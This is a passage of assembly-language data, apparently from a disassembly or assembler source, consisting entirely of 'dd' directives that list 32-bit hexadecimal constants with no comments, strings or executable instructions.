1E17701h, 2FD23BA1h, 307938DDh dd 483C6E0Bh, 8761B922h, 8C7EA7CAh, 119C5CE0h, 8A665CBEh dd 48BCB303h, 86C0174Ch, 40008055h, 0A71BA996h, 7E5F264h dd 0BA9C61AAh, 8AEF0ABh, 0D8729814h, 3B7C883Ch, 0CE7A9E93h dd 4B7BD080h, 22E75Eh, 2A2E1AA0h, 543D02BDh, 1D47EE39h dd 80FA48B6h, 0E81D37CAh, 0AB7543h, 0F3C39A6Fh, 40E7BB58h dd 8C1ED600h, 838BD170h, 0F63A0039h, 0D090AB02h, 7B013692h dd 0D66A2DE3h, 0D0408B09h, 0FD3879h, 2BB6930h, 89CC7B37h dd 70AF0405h, 7B816DB0h, 92EC4B7Ch, 0A8F500C3h, 58EF0264h dd 8100C6DBh, 0C80655F9h, 193CCB6h, 0AC37BD11h, 0C8F35617h dd 9A00CDBBh, 7C5B08F9h, 0F289B33h, 0B111CC26h, 87A55E84h dd 4517A018h, 483A4421h, 24865C7Bh, 2500EE62h, 0A4997AE4h dd 74C0057h, 826EFE1h, 0F71F8CDBh, 0FDC0793Fh, 14419790h dd 0B95A0A8Dh, 0A9A66Ch, 2DBC313Ah, 911E8477h, 0DC5C36CAh dd 0E6C4C500h, 1EB98257h, 0D46AE1AFh, 1E03A403h, 91425DCAh dd 0C299E9E8h, 0E875C8E1h, 0DA498607h, 0C330D15Bh, 939516Dh dd 4C388993h, 0AF52AE84h, 8D155700h, 2F547Ch, 0E36DE1Fh dd 208B1AF2h, 0BD0CB170h, 48D4C71Ch, 84750181h, 0CE6B48ADh dd 6D9C2447h, 300D5ECh, 96ED3F78h, 5C758F53h, 0D1074ABFh dd 60378DA3h, 0D2D61CDDh, 0D5175600h, 0FE2EC943h, 0C78203D3h dd 24DC5B9Eh, 5022E800h, 87275908h, 7120001Eh, 0E7D692B2h dd 9400E0F2h, 0C399A04Ch, 0C08007D3h, 132C698Ch, 0C848A230h dd 0D95503F4h, 0A8023F83h, 45C7B7h, 25D8244Ah, 20FF13DBh dd 0CF488207h, 0C212A0DDh, 8755600Dh, 99C5008Bh, 16915EEFh dd 0ED0F6F76h, 71FB10h, 889C0D0h, 0B319001Eh, 4E942546h dd 0D4001BF5h, 24BCCDDDh, 9D5BC6h, 28A9AF7h, 0EE415450h dd 0DDF2000h, 33C247B9h, 1C01EEB6h, 541E362Ch, 0B01E5F3h dd 0D2EC9CAEh, 0B20FD43Fh, 90BAEF30h, 7DE39281h, 0E07000C4h dd 2DC5031Bh, 1800EC5Fh, 7C327E19h, 52740Ah, 4BD9FE41h dd 84518C17h, 1D3D6700h, 8BA609EAh, 0D69075h, 352DD881h dd 8AEB7052h, 9A9C7307h, 4AF54BD3h, 0AF80A087h, 0F07A6F5Eh dd 7F780076h, 39A27BEFh, 88009B1Ch, 4CC955A3h, 9C1896h dd 9E2371C3h, 54A9EE15h, 1B3D6E00h, 0FBE2B62Ch, 44400026h dd 0CEEB7439h, 280EE48Ah, 0A3F885h, 3EB40605h, 0A56F000Eh dd 0A9A24C1h, 4200132Eh, 104E81E5h, 6FD09h, 0F8AE49CEh dd 3633DD04h, 0CC6D750Eh, 3F5AC05Ch, 0A04F63h, 0F4B91696h dd 44B12D67h, 0DDC8F807h, 41010420h, 10F49F4Ch, 5A7300A0h dd 40B2F596h, 5B0FDD39h, 279C757h, 5D2CBAC5h, 9B61C9E0h dd 0F9568C00h, 354F3170h, 0FF87DCFh, 9F740CCh, 8FFB1C00h dd 4C00CA85h, 4ADCA30Ah, 1D1915Fh, 0AB63E6D2h, 0D8FCE857h dd 30000E0Fh, 1FA048F5h, 8DD7C1h, 2A4D4782h, 0CF77B6F0h dd 0B2853000h, 5AE6885Dh, 0F347FC7h, 630A3642h, 53AE3260h dd 99E25BB1h, 34446500h, 5F9A2BF9h, 95B2005Ch, 0DA4B40A6h dd 6800E55Ah, 11DBCC2Ch, 3AEB152Dh, 3A806B9Bh, 0C4EE1450h dd 2B133739h, 0C901D67Dh, 687491F1h, 2140B080h, 0E2EDC61Fh dd 30C32F2Eh, 0E9038413h, 0C8F75043h, 31A381h, 0B4B04486h dd 7E4CCC9Ah, 1447171Ch, 0A5B7C880h, 1C27DCh, 81686C4Fh dd 0D7D210C0h, 0A073E201h, 93E3F27Eh, 165CF0h, 5B8D8231h dd 888EA9Bh, 4E2D8B00h, 5A44C941h, 4C431C50h, 17FE4035h dd 7E450A53h, 0D4DF7200h, 868DC7F0h, 0E6B70082h, 88CB6F69h dd 0F6008391h, 6B7E2604h, 0E0C828h, 378EBA44h, 5F5C9CDFh dd 4357DC00h, 8412369Fh, 0D6BC00BFh, 0F17F0552h, 0FF00AC04h dd 0A37B0288h, 15871ECh, 0DDBE5E0Dh, 0F00C4131h, 0BB04B806h dd 68D33E64h, 0CB5964C0h, 954FE61Bh, 0F2A855C0h, 0FFF60C00h dd 0DCFA781Dh, 5D1C0047h, 2F628DCAh, 59010A93h, 7C1A8FB2h dd 73131F9h, 0FD49FD8h, 9D7DC998h, 818CE7E0h, 3400F851h dd 551842D7h, 6B3D5Ch, 0A7F4F0B3h, 0FCBA4D90h, 0F1744403h dd 0B8112494h, 1FF8084Eh, 3B5A828h, 975B4346h, 834F3CE0h dd 0C19FD00h, 0BA4D429h, 52EA0016h, 3903DB5Fh, 9F98E41Eh dd 1D7D2E07h, 0C4B54493h, 0BED65880h, 3F6E4B6h, 0B0521EB2h dd 41F8D99Bh, 8B24063Ch, 0F38E7030h, 4DA66050h, 376550Ch dd 0E5F93152h, 0E90DAEBh, 8D0091D7h, 3BE741FFh, 261D98C4h dd 352A9Bh, 0F4BFCFA1h, 0E000880Bh, 0DF564273h, 32C1D9h dd 119282E4h, 5A355178h, 1A0014B8h, 0ED01FB0Ch, 2807EFh dd 0BD580393h, 0AE66D565h, 0C0BE3600h, 0E4157C2Ch, 5C1FE027h dd 0D00315B3h, 0D52A89C8h, 0BAA58FA0h, 9D1D74ECh, 0A1801E34h dd 211D6EC4h, 659600F1h, 400C8101h, 5D00F378h, 12423277h dd 0EAA439C7h, 1984098Ah, 0DC87C831h, 0F89F808Fh, 0BB1D4483h dd 3A414A32h, 2C996049h, 0FCF1C8D0h, 4CF20089h, 0B9EF47A5h dd 8B004387h, 0F323A738h, 11239F0h, 0CDB22277h, 0DCB48092h dd 28378597h, 0A9002025h, 840C1Dh, 2E994B23h, 6F67AE11h dd 0E69CEB1Dh, 0F812BF00h, 0EA974B2h, 0CACF3BF0h, 0B3E7C09Eh dd 32A4634Eh, 8E36DB00h, 667782D8h, 9B9800BCh, 0CAA91593h dd 0AD0939D2h, 11BE3h, 6472A34Ch, 14363105h, 0E07B1320h dd 31003968h, 0A4E177Fh, 0C95ED20h, 0A985B67Eh, 6B7EC049h dd 0A4A1DA00h, 58DC6581h, 0A0F63D97h, 859A5483h, 40008233h dd 0DC59209Eh, 1CBB93DAh, 7A4F9C5Dh, 0EDBEEB80h, 1AF6E49Dh dd 3153B0C0h, 0AFD0A2h, 121FB9A3h, 6D3CE0BAh, 80562300h dd 0C4AEC1F0h, 833F00FEh, 0C31B0DAAh, 16021D01h, 4A97AC4Eh dd 0A6A48009h, 25BF7Dh, 538CAED4h, 49F9B907h, 0C96CAB00h dd 0C495CAACh, 0AF933A9Ch, 617916h, 0BE4163F8h, 0BD00472Ch dd 739B3523h, 34198Ah, 0D8C24EEEh, 0AD33B645h, 128CF801h dd 243ADABBh, 3632DE8h, 9F4DCAB3h, 49D04C6Ch, 3AE62331h dd 0D162800h, 0D6073BEAh, 0E21704BAh, 90CBB702h, 0AD9FAA18h dd 0FE7219B0h, 0C3A5B101h, 91807D7Bh, 0B303FD5h, 96DE004Fh dd 0D971864Eh, 940360A6h, 0F27D343Bh, 37CFE072h, 0B7280079h dd 0F33C925h, 0FB00A526h, 0B1920843h, 463D932h, 8040AAE6h dd 0A67080F1h, 0F400061Dh dd 0D523ECFDh, 0AD6C1Bh, 48D27CD6h, 7684D7F9h, 8E6D1800h dd 70BB7B21h, 0CC3200A7h, 0C25AC0EEh, 8974415Eh, 8F00F7EEh dd 0A67F7EE0h, 3F5B5DCh, 0CFCA4BAFh, 3BC91280h, 0CD9FCD3h dd 0ED083200h, 681906D6h, 0E2E40047h, 0FBFDE953h, 0F4E1B8A8h dd 3474813Dh, 0CB9BB900h, 6F1074FCh, 66A6004Bh, 32464FB3h dd 0A8052945h, 8AFC71BFh, 0DCFEC0FBh, 0A3005462h, 0C77AE183h dd 45B7C4h, 122DC8BCh, 87883998h, 0F509D3EEh, 0E81B06h dd 96BB6D24h, 59AA0009h, 63A1FFB3h, 0E103B63Dh, 0F9FEF2CCh dd 84CD00Fh, 682B001Bh, 0D7B59C9Eh, 0A8A0E8F7h, 0B3207FE2h dd 0DC53098Eh, 0E8807E86h, 4A81027h, 3A565904h, 0C2864677h dd 35FA0018h, 7F518D0h, 40CEE868h, 0EA82C01Dh, 30AAD40Dh dd 0C7591FCEh, 0E776659Ch, 6A00A190h, 0E90514F1h, 0ECE8E6AFh dd 8BE279h, 3082B4C8h, 17271824h, 0A0E44F00h, 0D9EBA4FEh dd 0CD1A0038h, 914AC9F5h, 0DE5AA658h, 5B0041B8h, 0BC67A7EDh dd 98005E96h, 2328B7C0h, 0A0063AD7h, 0B32A95h, 78A84D07h dd 63185825h, 0CD45CB00h, 0EEB68310h, 0BBC11343h, 0D4F307D3h dd 3F7820EDh, 0BE12E37Ah, 3600677Eh, 0CE407C32h, 0A9C2007Dh dd 5E2190Ch, 0C501265Ch, 0E7201E98h, 2DC49414h, 0C89A0Eh dd 0F9122C04h, 5FFC8B62h, 3E0FB103h, 0D0CDE77Ah, 765A56h dd 0F2F04D17h, 5159E6Eh, 1F003BE4h, 0E1D3938Ch, 4D5189h dd 26B783ABh, 6AF02F27h, 48B62500h, 0B35C1CCCh, 46560ACh dd 0F54EFECBh, 8113E800h, 2CEBB92Fh, 5C2E768Fh, 0E103354Ch dd 0DA94D203h, 0D0E591F1h, 7800439Fh, 4E140B06h, 13D2512h dd 17302141h, 809E3267h, 79420518h, 940D9Dh, 0B448E95Ch dd 0D4B03AB7h, 0C612C21Ch, 80572B09h, 4A39884Ah, 0A83F00B3h dd 0DC5AC8D2h, 20166B5Bh, 78A078F3h, 9C3700EEh, 0CE2DE9E0h dd 8A00D865h, 8849A655h, 0FE6C274Dh, 0FBC00101h, 0FFF0C62Fh dd 963E8CE5h, 0EF1030h, 4423F255h, 51B2CD17h, 6A094AB0h dd 0FD9DE233h, 1E9F6C00h, 520056F3h, 0EC49E398h, 1D3953F0h dd 400E687Ah, 0EB16117Eh, 0AE001F7Ch, 54D16143h, 0B476ACh dd 0A7298E93h, 85319B11h, 39EA4400h, 78E3A449h, 7C99B2h dd 47D4C226h, 42008261h, 13FE94ABh, 7F35E4Eh, 0C13EDEFBh dd 8BA4B334h, 121449A8h, 0A5273B03h, 0F02A0AADh, 364E07h dd 0DF3F182Fh, 9EF9892Dh, 947D1C00h, 0A2CD4D54h, 1D370561h dd 8040289Dh, 0EE5F0420h, 5BE35300h, 3F10B50Ch, 0AA4500CAh dd 1B7B93CCh, 6800BED9h, 0A848C637h, 13CA59DFh, 3621407h dd 9E0A9F5Ah, 7275E598h, 2B807B00h, 6061E76Ah, 437901CFh dd 73D4D0E8h, 2F5C61C0h, 185FBF80h, 3DF3E65h, 0B4D91F87h dd 59642013h, 87506A70h, 62003EE0h, 8077670Ch, 98062994h dd 24280008h, 0C621F2DEh, 36E08F1Eh, 0C8E53826h, 0C711D100h dd 793A9F89h, 64F8DEEFh, 0AF900D3h, 0EC3533ACh, 1F884F8h dd 0B036AF07h, 21D08506h, 0FFC93Bh, 66B74415h, 0E08097E6h dd 65499D07h, 0AE53DB28h, 7137A8A8h, 2F1200CBh, 7DCA6E1Ch dd 0A9006CA4h, 0FC0EDDDFh, 0FA021B4h, 0E3B1F128h, 0BFEAE0C3h dd 16048BB8h, 58006848h, 1B300018h, 0C9BAE82Dh, 0F74900B2h dd 1098C8BFh, 1300EF36h, 57F41DB8h, 2C1A32D5h, 7E42759h dd 102E77A7h, 3BD88BE0h, 45FB1618h, 0F6EC2F50h, 0F1C30BA7h dd 6F076C58h, 93ABD04Fh, 9E76043Ch, 5E2828C3h, 0A620EFCEh dd 749D6E0Eh, 2B460021h, 5CAAFF8Dh, 0D026B484h, 0DD00245Ah dd 0F99EA6CBh, 0D3A2045Dh, 8535BB39h, 0E140018Ch, 60321F83h dd 0E91D67F2h, 7E00BD92h, 77078148h, 0EDE0005h, 0F3F015CEh dd 0B4732376h, 0C80028DFh, 2AF7CB3h, 65F604B6h, 85E6E7E1h dd 5FCA0F4Fh, 34A005C9h, 0DA88F216h, 0E2E86600h, 0B71C8CAh dd 0D6800F83h, 926E247Ah, 0D28DE900h, 0B900B0CBh, 0AFFB9EE7h dd 752BDEF7h, 5F9A7055h, 5481E0F5h, 3C800200h, 1CF0B87Ah dd 93EA0E74h, 0A1E07C39h, 0D544DB16h, 2650701h, 0B714BBC5h dd 5A1CB6CCh, 0D0B7019Bh, 0E04C410Eh, 8D03FE7Eh, 6B753525h dd 0BFA0A104h, 71D73170h, 7EE50007h, 4F4A7D2Ch, 0E1009817h dd 95704B10h, 4CA18EAEh, 1181DCBh, 2EDFF8B7h, 0BE853Bh dd 78FC14ADh, 7499DCh, 3455123Eh, 15927752h, 686D7500h dd 261B2182h, 0B869753Fh, 0E0340050h, 759E8841h, 1206D809h dd 0A3818DAEh, 0DDE50011h, 86518E59h, 44007E84h, 58D149A7h dd 0E8299E2Fh, 16082867h, 6BDB05F0h, 0C09CEA69h, 8F97B19Dh dd 852AA900h, 58C5A139h, 0AB7009Bh, 8D43FCF5h, 3CECAEA5h dd 0B0821F00h, 3115561Bh, 54E70EC9h, 0EBE0D9D3h, 83B65558h dd 8824FE98h, 0B41F4811h, 46F22F40h, 0F40206h, 51949584h dd 9A0CB7F3h, 0B5C72700h, 8B0503B9h, 102830A6h, 629CFF38h dd 0B2C94E8h, 0C100A8A0h, 2827AF50h, 7A2A0058h, 0E69DE1DFh dd 51723DD1h, 1D2E7C00h, 0F7D508CEh, 8236E87h, 8F6D3FE0h dd 420385EEh, 0C0191669h, 0B770C726h, 7402A2ACh, 0C3B600FAh dd 3EB2700Bh, 615049A0h, 53E818E1h, 482AD748h, 0C3C00044h dd 594439FBh, 0C93401E8h, 401A22B1h, 0F52BF435h, 6CA9BD00h dd 0E19884Fh, 6744001Fh, 0D2451E3Ch, 9638D97Eh, 0A87601CFh dd 0F631540Fh, 8E854481h, 0F058052Eh, 0B900E1E9h, 6E394782h dd 3CEF42Ah, 8C0BF204h, 70DA3BF0h, 0CF710C8h, 0E0406FAh dd 9F273786h, 0C69E6880h, 0CF760784h, 0B0EE03C9h, 488667A4h dd 8074B139h, 0F35D7F8Dh, 2655C24Dh, 0C8D4h, 0BD06471Ch dd 0ED5CA419h, 5DD20093h, 0AFD7893Bh, 0FC900097h, 3C8552E7h dd 0D30096D0h, 4FB8A7Ah, 2FFA253h, 80F6E492h, 9C603E78h dd 0D13A6A26h, 0A6849ECDh, 1A6CF800h, 22946B9h, 3AA0B669h dd 14707F85h, 9A7ADB02h, 81F6C221h, 0DEB106F0h, 5FBCB000h dd 1F408B00h, 49D482CDh, 0ED0C0363h, 81B3ECF6h, 19FFA980h dd 0E9BB7000h, 601DDE0Fh, 3F0701E2h, 22FA0E79h, 30C020BFh dd 259C811Ch, 0F64FE8Bh, 8B8D4009h, 242238h, 6E7EF0BBh dd 335EDB56h, 3B47E000h, 0A2924B88h, 3CFB009Ah, 1C604DF1h dd 8B13E736h, 0F907B9D7h, 64307D8Fh, 3AA030C3h, 0F000B31Dh dd 5BEE8CC2h, 0D8A8B5B4h, 0E802A38Fh, 6C9E76EDh, 0B5E0981Ch dd 0B631002Ah, 4C081602h, 6C7DA234h, 1456D201h, 0DFBE2554h dd 497EF297h, 90426D48h, 9305D820h, 40826171h, 39BBC6B3h dd 0C8825215h, 0CE6C9411h, 0E5050878h, 8DC5EB05h, 19911CD0h dd 90B650F6h, 390B48A0h, 1AADF800h, 0EF7B7077h, 57DEC803h dd 80C399D4h, 1EC89B0h, 7A4E6E98h, 0D424E0A3h, 0B22666A7h dd 5E001E46h, 0BA9BC971h, 0F5E3008Fh, 0FF59ED6Bh, 0DA00B601h dd 841788BEh, 0F76D1C9h, 9D2F1009h, 506AAB00h, 970037C1h dd 244E5729h, 0CD2BEAh, 0C86973B5h, 0F8ED74FCh, 42D4A924h dd 0EE139504h, 0F5326C0h, 6BE60060h, 41F78637h, 35917D8h dd 0C8C20064h, 7173DE57h, 0ADCE0070h, 0FD6444D4h, 301E7616h dd 4B07B78Ch, 0FA301EACh, 302352D5h, 0E1198A0h, 0DA01E7E9h dd 116AD194h, 8FDAD59Eh, 0DB3F60E8h, 1526EFB3h, 0F403C338h dd 0A1BFB900h, 0A311EEE8h, 284EBD0Eh, 1E9D818Eh, 99813B4Fh dd 4885055Fh, 0A040E014h, 79AEEA12h, 31C7121Eh, 1C0622A5h dd 0C5F0C18h, 813817A2h, 83F97900h, 0ED56E749h, 132743Ah dd 0AD7F298Dh, 0CFA3B841h dd 743DD4B0h, 900F2F0h, 0BE1F5214h, 139F9C73h, 6281317h dd 81B23659h, 795200E5h, 0F63019D3h, 7C4C9C0h, 1DA3E480h dd 0C2CB0039h, 6BBF6917h, 450FF283h, 274C40Ch, 60A463C3h dd 0DA96DDh, 0E209F05Fh, 0DEC61BBDh, 0BAA0951Eh, 0ACD96880h dd 0F034E0Bh, 0B0FBA3E1h, 7022407Fh, 0D353E764h, 2821BC03h dd 0C9FEB124h, 3E704DB9h, 7032021Ah, 0E2CABA46h, 8534C860h dd 6F0C2F0Eh, 864700A3h, 1F3A50A6h, 0E2307Dh, 5F90D4BFh dd 5C0187B0h, 29D9E1F9h, 0C050CAEFh, 8E7D21h, 3DD3ABC7h dd 0CB4B076Dh, 394AEC15h, 0EA651DE4h, 0D0A17DDh, 0EC86C0BFh dd 213C31h, 0D638E182h, 16F4E4EEh, 0BCF26503h, 18F72FC6h dd 39B81741h, 44005B0Bh, 6A4B507Dh, 789A3Fh, 1447CE7Fh dd 5E31815Fh, 0BB99E00h, 0B51DD24Bh, 2BC50124h, 3796135h dd 2D2C303Ch, 5322AF0Eh, 0A1E9E027h, 0C4F4E89h, 163AF8E2h dd 51DCDD9h, 0B1000B84h, 3FE569FDh, 23BF00B5h, 753A55E0h dd 63F40622h, 0BEBB603h, 0A250DA84h, 0E61B6099h, 0F6CBEAA6h dd 823F0078h, 7F2D5130h, 0C81EABC2h, 0A603F738h, 468D14F4h dd 0BF810411h, 0F0DBF272h, 1B007DB6h, 0DA18D565h, 3C2829h dd 3D75A79Eh, 5768315Bh, 9CB59D1Dh, 0DDE97242h, 44DEC142h dd 5872920h, 4805D1A7h, 9918C0CEh, 0BD0022D7h, 0FA077829h dd 0DAE0E2h, 43F270E8h, 0FCE657C0h, 667C3800h, 0D4FB5120h dd 0A2AB008Dh, 0CFF85AB2h, 0AD07D285h, 487F245Bh, 927632A0h dd 0A2DB03F5h, 0EFD52005h, 6197CDC8h, 7487C00h, 0E1B72F16h dd 626400D3h, 301550C2h, 0C55C98AEh, 5C2B0077h, 1D1E6559h dd 86AD0181h, 84C9BA67h, 8ACD20B9h, 1FEB7503h, 0A060DDF4h dd 0F635F9h, 814D45F0h, 0F8BC8F6Ah, 99583Eh, 0DEB8C1Ch dd 0E86BFFBh, 0A0FE1D98h, 0B00FE340h, 43006282h, 5A509DD0h dd 658904h, 1C88ECFh, 5580DAE1h, 0D71D52FAh, 0B040C35Fh dd 99F87369h, 7EAE003Eh, 0F2710A1Dh, 79001538h, 318E2944h dd 43359Ah, 0AB596086h, 3340D480h, 0CA0E7000h, 0BA4FF1C6h dd 23910055h, 46F5C42h, 0AD1E4DA4h, 0DCA43DCh, 0EC40FC45h dd 0C3B7FCh, 0D79717CDh, 5E1F4F3Fh, 0B2691D00h, 31A113D6h dd 83C00004h, 4C985DA5h, 0DC00C6EAh, 238C382Bh, 177496ADh dd 6BD706h, 77F5CD4Ah, 13032C14h, 0DBDC89E0h, 431CC078h dd 0ABF800CEh, 0AEC1EF0Eh, 44007EE8h, 0EA763D61h, 547F04h dd 7AA81227h, 1B984E56h, 77CECD00h, 7128CC44h, 1DD60064h dd 3778F05Dh, 981E071Ah, 0B080E1C8h, 0B1336B4Eh, 0F0A0061h dd 0ECF4D23Ch, 9D0018A1h, 38E4CFCCh, 0EC78A51Fh, 42A40093h dd 0AD75B05Ah, 0F8758036h, 0BDFF9000h, 56B1E9AFh, 4CF000D8h dd 849A320Ah, 0D0E5A04Dh, 5F003814h, 0D07B45CBh, 268760D8h dd 0C18326h, 40535CAFh, 0B000A4ECh, 2744B3F9h, 3A60C421h dd 0F962CEh, 6C0EA064h, 0A8689E7Bh, 9842510Fh, 945FA09Ch dd 0E515CA26h, 9E4B5080h, 0B13AA87Dh, 5CC8A200h, 429CE191h dd 2CB0659h, 6A30D2E7h, 392B2A01h, 9683AC1Fh, 749D6D8h dd 16F5DBEDh, 4E295048h, 8E001F0Ch, 93B1888Ah, 0A277C1h dd 0AF383D84h, 19792368h, 2ADBD600h, 1F9840FCh, 0DE15610Eh dd 603B2720h, 190089D7h, 2EC976CFh, 1E0E86Eh, 29308AEBh dd 40C73B93h, 4DFB5CC4h, 0F8C29900h, 927217A0h, 48D0C09Ch dd 0BA75AE21h, 0AA93FD00h, 961CD8F7h, 0F5AF0008h, 0C30477A2h dd 15F051EAh, 9D939A00h, 0A6AC6A29h, 0AE122E25h, 154D1D09h dd 2D03B8D1h, 4564C3A2h, 0FAABB008h, 0C0F81D5Fh, 5DF7964Ah dd 0DE38330Ch, 0CE90831Dh, 0D188EF2Ah, 0AF85EDCh, 0E7A9A014h dd 8911072Fh, 0A0E32995h, 65E0BF81h, 97A7C700h, 68D0CE52h dd 0A0895032h, 93340090h, 0D253AAC6h, 0E9E844A3h, 26C86703h dd 0F6A64820h, 0D7C13EA0h, 12345616h, 2BA30184h, 0ECA14AF8h dd 0A43A2C8Dh, 98007BB7h, 18C56867h, 7D339BEAh, 23731CCCh dd 96C700F4h, 698E306Fh, 0CF000472h, 73ABFDBFh, 7C0C9B2h dd 1C3D5597h, 0F32B106Fh, 8C005119h, 0F03459A6h, 7E06E4h dd 6C7CC0DAh, 0AA95B87Dh, 483348h, 0DFA7F787h, 1D6D96Bh dd 0BD5273B3h, 0F48DCA46h, 2900A5D4h, 63A6112Bh, 6DA34h dd 425D74E6h, 40937D10h, 85AEF203h, 0D1B2ABBFh, 89C4C1FEh dd 15F6000Eh, 33111769h, 0CB0713C6h, 0E6414A71h, 20848C90h dd 7B0D01C4h, 0DBB3C545h, 3C1C20B4h, 0D121A200h, 839D6290h dd 0E5850694h, 115B0A08h, 0E1761D02h, 0D1DD89h, 38A49712h dd 9E07A00h, 1AA2B0C9h, 0FDC4041Dh, 0EBDE78D4h, 8B0EE681h dd 7F068B70h, 0AE6067Ch, 8885F13Dh, 0A1919A07h, 35104556h dd 6399443Ch, 0CF3E5EE7h, 6EEA74A0h, 6030F100h, 0E52A95AAh dd 3DD27A58h, 0A5008B25h, 80316596h, 3476E2C2h, 3DEAD00h dd 1FC026C1h, 434B096Ch, 86F799B2h, 0E198665h, 0E117A324h dd 3D3E1C40h, 9D00FAD6h, 0BC96CD7Bh, 889F8Eh, 1DA5A62Bh dd 879836E5h, 5B00E079h, 0D9E4723Bh, 190BD14h, 44C781D4h dd 0C16E629Eh, 4E48D873h, 36EAC100h, 0DFC95E10h, 65F700E3h dd 0C6B12146h, 0BA00DD7Dh, 146F9094h, 0FAA39Fh, 0D4BC722Eh dd 6AB33621h, 8794DB00h, 5655D0C2h, 960B3A83h, 51FAFC01h dd 30A7ABACh, 8D98655Ch, 83008A7Fh, 26408B2Ah, 78FB2E5h dd 4DFD4633h, 0BA8CB02Ch, 43171247h, 0A0004285h, 35C9D13Bh dd 71EF0BD8h, 0F2004C5Dh, 0FB9D6E7Dh, 80D2B938h, 0C105073Eh dd 1E7599ECh, 408C4B6Dh, 5CCB22DDh, 170E6A1Ch, 0E0FFF442h dd 2402C034h, 9C82007Dh, 99A7C435h, 1D001C54h, 5AF6F2BAh dd 4718078h, 0E6190731h, 0C414C056h, 0FA0339A6h, 1A6A66A8h dd 4AB90CCh, 20676DEh, 0CD911889h, 2CC898FFh, 0D80C0B9Eh dd 113472FDh, 2282002Eh, 0FA814F94h, 8D00A84Ch, 0FE0B71A5h dd 0D4AF59h, 1033B104h, 0D36A4235h, 0FB401100h, 0F7B3901Ch dd 0CAF4003Eh, 1AF648EFh, 3B3919C8h, 0CCFCA4C4h, 8C55C900h dd 0F58A856h, 5FF501A1h, 5E00660Fh, 65115BCAh, 0A018BB2Ch dd 405D6A0Fh, 0D074048Fh, 32413D6Fh, 8B4BFE00h, 7E87BAE9h dd 0CDAF8407h, 0E770CBB3h, 1D277852h, 80C84E54h, 0FCC1C9CFh dd 0A80C42EEh, 58FE5D5Ch, 0F4FE0B3h, 0A90B2D62h, 9BC5409Fh dd 9D0508F8h, 0EB9ACF00h, 77D9F43Ch, 4B261F6Eh, 0B05595A1h dd 57ABD700h, 1D1222DBh, 0B01307Ch, 6E3324Bh, 3064C789h dd 48C42C79h, 86C68094h, 0C16D64BAh, 7EC9BF00h, 363B676Eh dd 0E30005Ch, 9122F1C4h, 3900BB0Ch, 0C6856DBAh, 7A4AF29h dd 46E0BC7Ah, 882710F7h, 0CA7075B8h, 1CD09100h, 47AA8C71h dd 7F275BBh, 60A83D6Bh, 25570C8h, 5C00DD59h, 0EBFCC41h dd 3AD3AAh, 0CE9F44B8h, 0F19ADC1h, 4FC7A11Dh, 0B40EB556h dd 5A6E6040h, 7777211h, 7D9404E8h, 5856505Ch, 0F000D9F1h dd 3DD3B871h, 0B69ACB2h, 51530B8Ch, 0E7430B80h, 83013473h dd 5DC288D0h, 1AE81B4Dh, 807C001Eh, 0D33BCC1h, 2C009E9Dh dd 0DF99DD0Ch, 3FE991h, 0B9CF77B0h, 0E3522001h, 64CEDA0Ah dd 57D60457h, 3BB42041h, 67F804h, 0C709A83h, 10BA5AF8h dd 930B807Ah, 807D5C75h, 0AC15520Ah, 8630C056h, 97D5DD96h dd 0DCFF7473h, 610B432Eh, 0AC5A63h, 0D450A115h, 665600A6h dd 3E4DB4C4h, 2579A210h, 0D0AE70C1h, 50E820E1h, 0BC7E003Ch dd 33A6B598h, 415ACB09h dd 3A9C0B1Fh, 30BCF9Ch, 20A30889h, 8C82C170h, 70F92401h dd 500C1737h, 7928EFCh, 3D66D85Bh, 0FA7D3C4h, 502E51A1h dd 9B3E5380h, 0DEACDB03h, 8EF39EEh, 27B1AFD8h, 35D64407h dd 5600984Ah, 69D0A9DCh, 501306A8h, 4926E362h, 0CD5096E4h dd 6F0F67ACh, 60D53134h, 0D1F6FD1Ch, 6CCE2A39h, 855803BCh dd 272103DBh, 0A7D95110h, 0E6630A7Dh, 80D00CCBh, 39E27928h dd 6B1DB90Bh, 0C48095F0h, 2D139718h, 0B487B38h, 0B07510AAh dd 3F6E1380h, 3D02EF08h, 4649766Ch, 0E1F4A06Ah, 3B96894Eh dd 29B08811h, 5E855061h, 0F5179800h, 0CC0BA331h, 16FF60Fh dd 3787B626h, 80B7D392h, 0C01FEAD9h, 0BC3113h, 0CAFDF13Fh dd 5D02CF40h, 0A3D44918h, 798FF329h, 0E2F8006Eh, 0C6B630ACh dd 1F0048F0h, 60E9263Ch, 371DA6B7h, 0C438A004h, 0F07000CFh dd 0E099B1Eh, 3A2E5B31h, 0A8529F00h, 8000E304h, 0B70E6F0Bh dd 92714762h, 0E7E50348h, 0C5C812C4h, 7C42B6F0h, 26A82300h dd 0A6D2BAF4h, 0BD223743h, 12982AF1h, 313909F0h, 0A81D8410h dd 105BB830h, 0CA3A944h, 3AB7708h, 11380799h, 50C27927h dd 20B8CB69h, 0C44DDC23h, 0A2F81100h, 0F47B80C3h, 0C9B0042h dd 0F3F64C55h, 0BC606741h, 0E5635631h, 80B661D0h, 711473FAh dd 658C0145h, 769C200Eh, 524FF00Ch, 2908E9h, 28FE4B4h dd 749FD97Ch, 0B4ABC32Ah, 4F441D15h, 7C1475F0h, 80F83E49h dd 0E9D0B595h, 0EE8A891h, 1D9F06E8h, 0F956AE74h, 0BB3DF001h dd 66E11076h, 3D92E424h, 0B1E46729h, 0A2FC8847h, 0C5EE5A00h dd 0C71A09E7h, 1442F843h, 0FCD6748Ch, 40741D8Fh, 207C683Ch dd 622AFBDFh, 6400B0E4h, 21E1221Fh, 34613F67h, 0C019388Ch dd 0D903277h, 80A93Dh, 289B342Dh, 1ACA5E8h, 2CB67CE6h dd 0D0F6F432h, 69002152h, 0A3CCD94Ch, 1F756309h, 1C539AF0h dd 20585BACh, 5DB938C0h, 3616D00h, 8D635EDFh, 0F14A03Ah dd 4633883Eh, 0FBA0C100h, 1B2A4C29h, 9801F9F5h, 49318025h dd 0FD7E2728h, 8BEC1FABh, 7445004Bh, 0E7959FA0h, 10ACB100h dd 652CCE31h, 3440F977h, 80206872h, 59C00A40h, 0EE195DDEh dd 0C0331D17h, 7FA2CFEAh, 8759B083h, 0FE693800h, 0ABBA70F4h dd 826A39BFh, 0BD168D80h, 0B0351573h, 0E894D700h, 0F855AC9Eh dd 0CF2C06D2h, 5A098412h, 0FE929D00h, 40D0962Dh, 4B79C00Ch dd 79F3DC42h, 4D56891Ch, 0DFC5AECFh, 150063DFh, 0CB2CD8CDh dd 0C1D46B9Fh, 2EEB0300h, 24F8B104h, 1671A400h, 0E16B5ADBh dd 75483AA3h, 80CAD794h, 71097BC6h, 0B6382375h, 66C8019Fh dd 